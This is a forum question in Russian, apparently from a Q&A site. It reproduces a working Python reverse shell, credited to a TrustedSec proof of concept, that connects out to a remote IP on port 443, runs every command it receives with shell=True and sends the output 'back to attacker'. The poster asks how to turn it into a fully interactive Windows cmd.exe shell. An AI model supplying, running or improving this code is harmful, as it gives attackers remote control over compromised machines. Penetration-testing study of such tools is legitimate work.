Я играл с этим на Windows, с netcat, слушающей на втором устройстве:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.225.136' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# loop forever
while 1:
# recv command line param
data = s.recv(1024)
# execute command line
proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# grab output from commandline
stdout_value = proc.stdout.read() + proc.stderr.read()
# send back to attacker
s.send(stdout_value)
# quit out afterwards and kill socket
s.close()
Источник: https://www.trustedsec.com/files/RevShell_PoC_v1.py
Есть ли способ создать полностью интерактивную оболочку cmd.exe
?Я даже не могу запустить команду time
без блокировки, потому что она ожидает ввода.Любая команда, которая ожидает ввода, просто вызовет его остановку до ^C
.
Было бы неплохо иметь маленькую подсказку (например, C:\>
), tab завершение, ↑ историю, как правильный tty.Я нашел несколько методов, подходящих для /bin/sh
и /bin/bash
в Unix и Linux, но пока ничего для Windows cmd.exe
.